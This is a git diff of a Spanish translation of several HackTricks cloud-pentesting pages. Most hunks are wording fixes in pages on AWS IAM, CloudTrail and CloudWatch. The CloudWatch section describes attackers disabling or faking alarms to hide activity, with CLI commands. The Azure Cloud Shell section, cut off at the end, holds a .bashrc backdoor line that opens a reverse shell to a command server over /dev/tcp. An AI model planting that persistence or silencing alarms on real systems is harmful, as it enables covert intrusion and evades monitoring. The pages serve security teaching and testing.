diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index d1f0b51de..d709d8590 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -86,11 +86,11 @@ IAM se puede definir por su capacidad para gestionar, controlar y gobernar los m
### [Usuario raíz de la cuenta de AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**.
+Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una identidad de inicio de sesión única que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que utilizaste para crear la cuenta**.
-Nota que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
+Nota que un nuevo **usuario admin** tendrá **menos permisos que el usuario raíz**.
-Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este.
+Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este.
### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
@@ -103,10 +103,10 @@ Los usuarios pueden tener **MFA habilitado para iniciar sesión** a través de l
#### CLI
- **ID de clave de acceso**: 20 caracteres alfanuméricos aleatorios en mayúsculas como AKHDNAPO86BSHKDIRYT
-- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de clave de acceso secreta perdidas).
+- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de claves de acceso secretas perdidas).
Siempre que necesites **cambiar la clave de acceso**, este es el proceso que debes seguir:\
-NAN;_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_
+_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_
### MFA - Autenticación de Múltiples Factores
@@ -143,7 +143,7 @@ Aquí hay algunas características importantes de los grupos de usuarios:
Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adoptar diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
-Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**.
+Un rol de IAM consta de **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **qué puede acceder**.
#### Servicio de Token de Seguridad de AWS (STS)
@@ -151,7 +151,7 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l
### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
+Las **credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
### Políticas
@@ -162,7 +162,7 @@ Se utilizan para asignar permisos. Hay 2 tipos:
- Políticas administradas por AWS (preconfiguradas por AWS)
- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
-Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
+Por **defecto, el acceso** está **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
```javascript
{
@@ -191,8 +191,8 @@ Los [campos específicos que se pueden usar para condiciones por servicio están
#### Políticas en línea
-Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\
-Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal.
+Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Por lo tanto, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\
+Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso se debe a que son parte de la entidad principal.
#### Políticas de Bucket de Recursos
@@ -220,18 +220,18 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Tenga en cuenta que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Nota que por defecto **AWS puede agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Por lo tanto, si en algún momento se enfrenta al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
+Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
### Federación de Identidad
-La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta de IAM válida.\
-Un ejemplo de un proveedor de identidad puede ser su propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS.
+La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\
+Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS.
-Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado.
+Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma confiable accede a AWS, lo hará como el rol mencionado.
-Sin embargo, generalmente querrá dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
+Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
@@ -241,7 +241,7 @@ AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades
El dominio de inicio de sesión será algo como `.awsapps.com`.
-Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden utilizar:
+Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar:
- Directorio del Centro de Identidad: Usuarios regulares de AWS
- Active Directory: Soporta diferentes conectores
@@ -257,12 +257,12 @@ Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **cr
Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**.
-Por lo tanto, incluso si ve 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
+Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
-### Confianza y Roles entre Cuentas
+### Confianzas y Roles entre Cuentas
-**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, simplemente cree un nuevo Rol y seleccione Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posee, y proporcionar acceso entre una cuenta que posee y una cuenta de AWS de terceros.\
-Se recomienda **especificar el usuario que es de confianza y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
+**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\
+Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
### AWS Simple AD
@@ -271,7 +271,7 @@ No soportado:
- Relaciones de Confianza
- Centro de Administración de AD
- Soporte completo de API de PS
-- Papelera de reciclaje de AD
+- Papelera de Reciclaje de AD
- Cuentas de Servicio Administradas por Grupo
- Extensiones de Esquema
- Sin acceso directo a OS o Instancias
@@ -282,17 +282,19 @@ La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales tempora
### Otras opciones de IAM
-- Puede **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
-- Puede **descargar un "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puede generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
+- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
+- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
-AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puede especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestiona los permisos para su fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
+AWS Identity and Access Management (IAM) proporciona **control de acceso granular** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
### Prefijos de ID de IAM
-En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puede encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza:
+En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza:
-| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| Código de Identificador | Descripción |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
| ACCA | Credencial específica del contexto |
| AGPA | Grupo de usuarios |
| AIDA | Usuario IAM |
@@ -322,8 +324,8 @@ Los siguientes privilegios otorgan varios accesos de lectura de metadatos:
### Autenticación CLI
-Para que un usuario regular se autentique en AWS a través de CLI, necesita tener **credenciales locales**. Por defecto, puede configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
-En ese archivo puede tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
+Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
+En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
Ejemplo de archivo de credenciales con más de 1 perfil:
```
[default]
@@ -351,7 +353,7 @@ Con este archivo de configuración, puedes usar aws cli así:
```
aws --profile acc2 ...
```
-Si estás buscando algo **similar** a esto pero para el **navegador**, puedes consultar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
+Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
## Referencias
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index ed5f4986b..d5f28775b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -24,7 +24,7 @@ Los registros de CloudTrail pueden ser **agregados a través de cuentas y region
CloudTrail permite usar **la integridad del archivo de registro para poder verificar que tus archivos de registro no han cambiado** desde que CloudTrail te los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\
Al crear un Trail, los selectores de eventos te permitirán indicar el tipo de registro: eventos de gestión, de datos o de información.
-Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tengan acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves.
+Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves.
Los registros se almacenan en un **bucket de S3 con este formato de nombre**:
@@ -88,15 +88,15 @@ El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los r
Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
-
-| Integridad del Archivo de Registro de CloudTrail |
Validar si los registros han sido manipulados (modificados o eliminados)
Utiliza archivos de resumen (crea un hash para cada archivo)
Hashing SHA-256
SHA-256 con RSA para firma digital
clave privada propiedad de Amazon
Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
|
+| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Detener el acceso no autorizado |
Usar políticas de IAM y políticas de bucket de S3
equipo de seguridad —> acceso de administrador
auditores —> acceso solo de lectura
Usar SSE-S3/SSE-KMS para cifrar los registros
|
-| Prevenir que los archivos de registro sean eliminados |
Restringir el acceso de eliminación con políticas de IAM y bucket
Configurar la eliminación MFA de S3
Validar con la Validación de Archivos de Registro
|
+| CloudTrail Log File Integrity |
Validar si los registros han sido manipulados (modificados o eliminados)
Usa archivos de resumen (crea un hash para cada archivo)
SHA-256 hashing
SHA-256 con RSA para firma digital
clave privada propiedad de Amazon
Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
|
+| Stop unauthorized access |
Usar políticas de IAM y políticas de bucket S3
equipo de seguridad —> acceso de administrador
auditores —> acceso solo de lectura
Usar SSE-S3/SSE-KMS para cifrar los registros
|
+| Prevent log files from being deleted |
Restringir el acceso de eliminación con políticas de IAM y de bucket
Configurar S3 MFA delete
Validar con Validación de Archivos de Registro
|
## Access Advisor
-AWS Access Advisor se basa en los últimos 400 días de registros de **CloudTrail de AWS para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales.
+AWS Access Advisor se basa en los últimos 400 días de registros de AWS **CloudTrail para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales.
> [!TIP]
> Por lo tanto, Access Advisor informa sobre **los permisos innecesarios que se están otorgando a los usuarios** para que el administrador pueda eliminarlos
@@ -198,7 +198,7 @@ De esta manera, un **atacante puede obtener el ARN de la clave sin activar ning
.png>)
> [!CAUTION]
-> Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están corregidas, así que tal vez necesites encontrar las tuyas...
+> Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están arregladas, así que tal vez necesites encontrar las tuyas...
>
> Para más información, consulta la [**investigación original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 072068795..f27c6ed67 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -11,7 +11,7 @@ Puede establecer **alarmas de alta resolución**, visualizar **logs** y **métri
Puede monitorear, por ejemplo, logs de CloudTrail. Los eventos que se monitorean:
- Cambios en Grupos de Seguridad y NACLs
-- Iniciar, Detener, reiniciar y terminar instancias EC2
+- Inicio, Detención, reinicio y terminación de instancias EC2
- Cambios en Políticas de Seguridad dentro de IAM y S3
- Intentos de inicio de sesión fallidos en la Consola de Administración de AWS
- Llamadas a la API que resultaron en autorización fallida
@@ -68,7 +68,7 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda
**Metric Streams** en AWS CloudWatch le permiten transmitir continuamente métricas de CloudWatch a un destino de su elección en casi tiempo real. Esto es particularmente útil para monitoreo avanzado, análisis y dashboards personalizados utilizando herramientas fuera de AWS.
-**Metric Data** dentro de Metric Streams se refiere a las mediciones o puntos de datos reales que se están transmitiendo. Estos puntos de datos representan varias métricas como utilización de CPU, uso de memoria, etc., para recursos de AWS.
+**Metric Data** dentro de Metric Streams se refiere a las mediciones reales o puntos de datos que se están transmitiendo. Estos puntos de datos representan varias métricas como utilización de CPU, uso de memoria, etc., para recursos de AWS.
**Ejemplo de Caso de Uso**:
@@ -84,11 +84,11 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda
- **Umbral**: El valor en el que se activa la alarma.
- **Períodos de Evaluación**: El número de períodos sobre los cuales se evalúan los datos.
- **Puntos de Datos para la Alarma**: El número de períodos con un umbral alcanzado necesario para activar la alarma.
-- **Acciones**: Lo que sucede cuando se activa el estado de la alarma (por ejemplo, notificar a través de SNS).
+- **Acciones**: Lo que sucede cuando se activa el estado de una alarma (por ejemplo, notificar a través de SNS).
**Ejemplo de Caso de Uso**:
-- Monitorear la utilización de CPU de la instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos.
+- Monitorear la utilización de CPU de una instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos.
### Anomaly Detectors
@@ -118,16 +118,16 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda
Permite **agregar y monitorear logs de aplicaciones** y sistemas de **servicios de AWS** (incluyendo CloudTrail) y **de aplicaciones/sistemas** (**CloudWatch Agent** se puede instalar en un host). Los logs pueden ser **almacenados indefinidamente** (dependiendo de la configuración del Grupo de Logs) y pueden ser exportados.
**Elementos**:
-
-| **Grupo de Logs** | Una **colección de flujos de logs** que comparten la misma retención, monitoreo y configuraciones de control de acceso |
-| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Flujo de Logs** | Una secuencia de **eventos de logs** que comparten el **mismo origen** |
+| Término | Definición |
+| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Grupo de Logs** | Una **colección de flujos de logs** que comparten la misma retención, monitoreo y configuraciones de control de acceso |
+| **Flujo de Logs** | Una secuencia de **eventos de logs** que comparten la **misma fuente** |
| **Filtros de Suscripción** | Definen un **patrón de filtro que coincide con eventos** en un grupo de logs particular, enviándolos a un flujo de Kinesis Data Firehose, flujo de Kinesis o una función Lambda |
### Monitoreo y Eventos de CloudWatch
CloudWatch **básico** agrega datos **cada 5 minutos** (el **detallado** lo hace **cada 1 minuto**). Después de la agregación, **verifica los umbrales de las alarmas** en caso de que necesite activar una.\
-En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS Lambda, temas de SNS, colas de SQS, flujos de Kinesis).
+En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS lambda, temas de SNS, colas de SQS, flujos de Kinesis)
### Instalación del Agente
@@ -216,7 +216,7 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alertas de una organización. Al eliminar alarmas existentes, un atacante podría desactivar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, violaciones de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales.
+Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alerta de una organización. Al eliminar alarmas existentes, un atacante podría desactivar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, violaciones de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales.
Además, con el permiso **`cloudwatch:PutCompositeAlarm`**, un atacante podría crear un bucle o ciclo de alarmas compuestas, donde la alarma compuesta A depende de la alarma compuesta B, y la alarma compuesta B también depende de la alarma compuesta A. En este escenario, no es posible eliminar ninguna alarma compuesta que sea parte del ciclo porque siempre hay una alarma compuesta que depende de esa alarma que deseas eliminar.
```bash
@@ -287,13 +287,13 @@ Al eliminar acciones de alarma, el atacante podría prevenir alertas críticas y
Además, un atacante con el permiso podría manipular los estados de alarma, siendo capaz de crear falsas alarmas para distraer y confundir a los administradores, o silenciar alarmas genuinas para ocultar actividades maliciosas en curso o fallos críticos del sistema.
-- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Solo regresa a su estado real una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración.
+- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Regresa a su estado real solo una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración.
```bash
aws cloudwatch disable-alarm-actions --alarm-names
aws cloudwatch enable-alarm-actions --alarm-names
aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ]
```
-**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potenciales no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales.
+**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potencialmente no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales.
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
@@ -370,7 +370,7 @@ aws cloudwatch delete-insight-rules --rule-names
aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ]
aws cloudwatch put-managed-insight-rules --managed-rules
```
-**Impacto Potencial**: Dificultad para detectar y responder a problemas de rendimiento y anomalías, toma de decisiones mal informadas y potencialmente ocultar actividades maliciosas o fallos del sistema.
+**Impacto Potencial**: Dificultad para detectar y responder a problemas de rendimiento y anomalías, toma de decisiones erróneas y potencialmente ocultar actividades maliciosas o fallos del sistema.
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
@@ -417,7 +417,7 @@ Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de C
aws cloudwatch tag-resource --resource-arn --tags
aws cloudwatch untag-resource --resource-arn --tag-keys
```
-**Impacto Potencial**: Disrupción de las políticas de control de acceso basadas en etiquetas.
+**Impacto Potencial**: Disrupción de políticas de control de acceso basadas en etiquetas.
## Referencias
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index ada0eb342..618b79b4b 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Cloud Shell Persistence
+## Persistencia en Cloud Shell
Azure Cloud Shell ofrece acceso a la línea de comandos para gestionar recursos de Azure con almacenamiento persistente y autenticación automática. Los atacantes pueden explotar esto colocando puertas traseras en el directorio personal persistente:
@@ -10,21 +10,13 @@ Azure Cloud Shell ofrece acceso a la línea de comandos para gestionar recursos
* **Scripts de Inicio**: Archivos como .bashrc se ejecutan automáticamente al inicio de cada sesión, permitiendo la ejecución persistente cuando se inicia el cloud shell.
Ejemplo de puerta trasera en .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
-
Este backdoor puede ejecutar comandos incluso 5 minutos después de que el usuario haya terminado con el cloud shell.
Además, consulta el servicio de metadatos de Azure para obtener detalles de la instancia y tokens:
-{% code overflow="wrap" %}
